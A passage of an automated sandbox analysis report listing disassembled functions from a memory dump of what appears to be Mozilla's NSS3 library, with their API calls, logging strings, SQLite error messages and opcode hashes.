Part of subcall function 6CE85920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE8596A
Part of subcall function 6CE85920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE85984
Part of subcall function 6CE85920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CE85999
Part of subcall function 6CE85920: free.MOZGLUE(00000000), ref: 6CE859BA
Part of subcall function 6CE85920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CE859D3
Part of subcall function 6CE85920: free.MOZGLUE(00000000), ref: 6CE859F5
Part of subcall function 6CE85920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CE85A0A
Part of subcall function 6CE85920: free.MOZGLUE(00000000), ref: 6CE85A2E
Part of subcall function 6CE85920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CE85A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE94EB3

Part of subcall function 6CE94820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CE94EB8,?,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE9484C
Part of subcall function 6CE94820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CE94EB8,?,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE9486D
Part of subcall function 6CE94820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CE94EB8,?), ref: 6CE94884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE94EC0

Part of subcall function 6CE94470: TlsGetValue.KERNEL32(00000000,?,6CE57296,00000000), ref: 6CE94487
Part of subcall function 6CE94470: EnterCriticalSection.KERNEL32(?,?,?,6CE57296,00000000), ref: 6CE944A0
Part of subcall function 6CE94470: PR_Unlock.NSS3(?,?,?,?,6CE57296,00000000), ref: 6CE944BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE94F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE94F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE94F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE94F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE94F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE94F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF6DCB0,00000000), ref: 6CE94FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CE9501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE578F8), ref: 6CE9506B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: c274c46fa9ae3fb91c0077243863c8204e5906f1c2a188dc486f2ad22c92abbc
Instruction ID: a07701895a1246d9bd74d3c65beb418a9f59be375c480bbf57269a06eba5767b
Opcode Fuzzy Hash: c274c46fa9ae3fb91c0077243863c8204e5906f1c2a188dc486f2ad22c92abbc
Instruction Fuzzy Hash: 1851F3B5E112029FEB11AF64EC01A9E76B4BF0535DF34063AEC1A86B12F732D515CA92

Function 6CE3ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE3ACE2
malloc.MOZGLUE(00000001), ref: 6CE3ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE3AD02
TlsGetValue.KERNEL32 ref: 6CE3AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE3AD8C
PR_Unlock.NSS3 ref: 6CE3ADC0
free.MOZGLUE(00000000), ref: 6CE3AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE3AE58
free.MOZGLUE(00000000), ref: 6CE3AE69
free.MOZGLUE(?), ref: 6CE3AE78
PR_Unlock.NSS3 ref: 6CE3AE8C
free.MOZGLUE(?), ref: 6CE3AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE3AEC7

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: e2fc251ecba45fba6f4d8e5650b1b1efe953c289ff1834c8e0584a32ac2f12eb
Instruction ID: 5168b3440627b8be47c1680dd91265069c3e4e9a2001b4ca6c67c60962f9f1b6
Opcode Fuzzy Hash: e2fc251ecba45fba6f4d8e5650b1b1efe953c289ff1834c8e0584a32ac2f12eb
Instruction Fuzzy Hash: 1751AAB4E50225CBDF419FD9E8407AEB7B4AB0634CF654025D808A3B50E331B985CBD2

Function 6CE7ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CE7ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE7AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE7AE29

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE7AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE7AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE7AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE7AEA0

Strings

hKey = 0x%x, xrefs: 6CE7AE62, 6CE7AE72
hSession = 0x%x, xrefs: 6CE7AE01, 6CE7AE11
(CK_INVALID_HANDLE), xrefs: 6CE7AE1F, 6CE7AE80
C_MessageSignInit, xrefs: 6CE7ADE1

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 10b8b213c46acd5b02fd4d8293a34406922ab4fafa900ccdfbccac6773ba4e18
Instruction ID: bee87d6a9c6dd5c82a054ddd81d9e455bba8bcce1a9d4976f9af3e1fac7203ec
Opcode Fuzzy Hash: 10b8b213c46acd5b02fd4d8293a34406922ab4fafa900ccdfbccac6773ba4e18
Instruction Fuzzy Hash: 4231E272B41104EBCB109FA5EC88BAE7775EB4630DF544429F90D6BB01DB31A849CBA2

Function 6CE79EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CE79F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE79F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE79F49

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE79F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE79F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE79FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CE79FC0

Strings

hKey = 0x%x, xrefs: 6CE79F82, 6CE79F92
hSession = 0x%x, xrefs: 6CE79F21, 6CE79F31
(CK_INVALID_HANDLE), xrefs: 6CE79F3F, 6CE79FA0
C_MessageEncryptInit, xrefs: 6CE79F01

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 0efc334f4847225d511e7c1282f63cba52e92e86be5d89d1f791392732a4affd
Instruction ID: f08f8d46405898e6a353b0614ac157d8903079307d1ad8f7af3f62d97abe8ecf
Opcode Fuzzy Hash: 0efc334f4847225d511e7c1282f63cba52e92e86be5d89d1f791392732a4affd
Instruction Fuzzy Hash: 20310571B01204EBCB149F65ED89BAE7775AF4230DF544428F90D67B41DB31A848CBA2

Function 6CF14C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF14CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF14CFD
sqlite3_value_text16.NSS3(?), ref: 6CF14D44

Strings

abort due to ROLLBACK, xrefs: 6CF14D27, 6CF14D33
no more rows available, xrefs: 6CF14D2E
unknown error, xrefs: 6CF14D56
another row available, xrefs: 6CF14D20
API call with %s database connection pointer, xrefs: 6CF14CF6
out of memory, xrefs: 6CF14C78, 6CF14C9E
bad parameter or other API misuse, xrefs: 6CF14D05
invalid, xrefs: 6CF14CF1

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 18f42bef8d300513b6c501d2bb691119087f053869559f2c3a3b13995d64e82d
Instruction ID: 361aa35c3d17e20ed792e7cd2d4c9c5e1e1e981d02d965ac2e476a87e6f09983
Opcode Fuzzy Hash: 18f42bef8d300513b6c501d2bb691119087f053869559f2c3a3b13995d64e82d
Instruction Fuzzy Hash: F0315AB3E1C911A7DB184B25A8117E6BF7177C331CF55012AD4245BF64DB21EC2187E2

Function 6CE72DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CE72DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE72E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE72E33

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE72E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE72E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE72E81

Strings

hSession = 0x%x, xrefs: 6CE72E0E, 6CE72E1E
(CK_INVALID_HANDLE), xrefs: 6CE72E2C
C_InitPIN, xrefs: 6CE72DF1
pPin = 0x%p, xrefs: 6CE72E63
ulPinLen = %d, xrefs: 6CE72E7C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 3f68970a82a7bcda77284e726a3b79667f3ae867269ab75e659b8d33a9e335b4
Instruction ID: 0fe7eb3b5abd83ab8d588ccec5e4ba4cc69bcdb83d4d87d63e312d304172f6d5
Opcode Fuzzy Hash: 3f68970a82a7bcda77284e726a3b79667f3ae867269ab75e659b8d33a9e335b4
Instruction Fuzzy Hash: DF313471F01104EBCB208BA6ED4CB8E7B75EB5231CF544024E90DA7B11DB31AD48CBA2

Function 6CE76EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CE76F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE76F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE76F53

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE76F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE76F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE76FA1

Strings

hSession = 0x%x, xrefs: 6CE76F2E, 6CE76F3E
(CK_INVALID_HANDLE), xrefs: 6CE76F4C
C_DigestUpdate, xrefs: 6CE76F11
ulPartLen = %d, xrefs: 6CE76F9C
pPart = 0x%p, xrefs: 6CE76F83

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 8c136ce79094d102e5372a0b0c9c08060756ae368367517ec0dd0641f5f1e617
Instruction ID: 801291670ded7f4a9f8d36d8d742f7d463c6c0e93d1d1f83fd75ed2245ad7056
Opcode Fuzzy Hash: 8c136ce79094d102e5372a0b0c9c08060756ae368367517ec0dd0641f5f1e617
Instruction Fuzzy Hash: 8A310431B11100DBDB148F65ED49B8E77B5EB4231CF584428E80CA7B11DB32AC48CBA1

Function 6CE77E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CE77E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE77E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE77E63

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE77E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE77E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE77EB1

Strings

hSession = 0x%x, xrefs: 6CE77E3E, 6CE77E4E
(CK_INVALID_HANDLE), xrefs: 6CE77E5C
ulPartLen = %d, xrefs: 6CE77EAC
pPart = 0x%p, xrefs: 6CE77E93
C_VerifyUpdate, xrefs: 6CE77E21

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 6dae2181d3f334fcac8cde5cdc77742be5304bf6ab17b62bb10adfc0ffcf1600
Instruction ID: e8cb33ba8adb705c39ad4762e825a31b21d158f45bc9f5e325168baa87fa2597
Opcode Fuzzy Hash: 6dae2181d3f334fcac8cde5cdc77742be5304bf6ab17b62bb10adfc0ffcf1600
Instruction Fuzzy Hash: 89310175F01104EBDB208BA5ED48B9E7BB0EB4230CF544428E90DA7B11DB31AC09CBA1

Function 6CE77F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CE77F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE77F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE77F93

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE77FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE77FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE77FE1

Strings

hSession = 0x%x, xrefs: 6CE77F6E, 6CE77F7E
(CK_INVALID_HANDLE), xrefs: 6CE77F8C
pSignature = 0x%p, xrefs: 6CE77FC3
C_VerifyFinal, xrefs: 6CE77F51
ulSignatureLen = %d, xrefs: 6CE77FDC

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 149403905c972171a42331975b0974789cbdcc675d9ad92f6ad74db2065ae02a
Instruction ID: ecdb5642d2f4b26727e1282adfc0ad5ec6c901dec6dea5fb1a19d1dc8c4926d2
Opcode Fuzzy Hash: 149403905c972171a42331975b0974789cbdcc675d9ad92f6ad74db2065ae02a
Instruction Fuzzy Hash: 3E310131B01104EBDB209BA5ED49F9EBBB5EB4231CF554425E80CA7B11DB31A848CBB2

Function 6CF12D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF12D9F

Part of subcall function 6CDCCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE2F9C9,?,6CE2F4DA,6CE2F9C9,?,?,6CDF369A), ref: 6CDCCA7A
Part of subcall function 6CDCCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDCCB26

sqlite3_exec.NSS3(?,?,6CF12F70,?,?), ref: 6CF12DF9
sqlite3_free.NSS3(00000000), ref: 6CF12E2C
sqlite3_free.NSS3(?), ref: 6CF12E3A
sqlite3_free.NSS3(?), ref: 6CF12E52
sqlite3_mprintf.NSS3(6CF7AAF9,?), ref: 6CF12E62
sqlite3_free.NSS3(?), ref: 6CF12E70
sqlite3_free.NSS3(?), ref: 6CF12E89
sqlite3_free.NSS3(?), ref: 6CF12EBB
sqlite3_free.NSS3(?), ref: 6CF12ECB
sqlite3_free.NSS3(00000000), ref: 6CF12F3E
sqlite3_free.NSS3(?), ref: 6CF12F4C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2b99a72ab65ac565f3aa498a48e47981c256e70a0521005235f0a83478354988
Instruction ID: 8db6f5c548662cc3f7fa0ce7dd4e58a001ecb6e867d42156631c4642826e233a
Opcode Fuzzy Hash: 2b99a72ab65ac565f3aa498a48e47981c256e70a0521005235f0a83478354988
Instruction Fuzzy Hash: 3361A0B5E092058BEB00CFA8D884BDEB7B5FF5A348F140028DC15A7B11E732E855CBA1

Function 6CE57C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFA2120,Function_00097E60,00000000,?,?,?,?,6CED067D,6CED1C60,00000000), ref: 6CE57C81

Part of subcall function 6CDC4C70: TlsGetValue.KERNEL32(?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4C97
Part of subcall function 6CDC4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CB0
Part of subcall function 6CDC4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CC9

TlsGetValue.KERNEL32 ref: 6CE57CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE57CB4
PR_Unlock.NSS3 ref: 6CE57CCF

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

TlsGetValue.KERNEL32 ref: 6CE57D04
EnterCriticalSection.KERNEL32(?), ref: 6CE57D1B
realloc.MOZGLUE(-00000050), ref: 6CE57D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE57DF4
PR_Unlock.NSS3 ref: 6CE57E0E

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 87d0bb17184cf5dde98e7e4e4db5445700237481d8fecc2e5f2096b36eaf3e71
Instruction ID: f5c71ebb44d80cd65f5edc5b47acfe6aaeb3d9bf5a202e79a677b75f9e0c67b7
Opcode Fuzzy Hash: 87d0bb17184cf5dde98e7e4e4db5445700237481d8fecc2e5f2096b36eaf3e71
Instruction Fuzzy Hash: 5B510275F24200DBDB815F69D844B69B7B5EB4731CF768129EE0887721EB329871CB81

Function 6CDC4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CC9
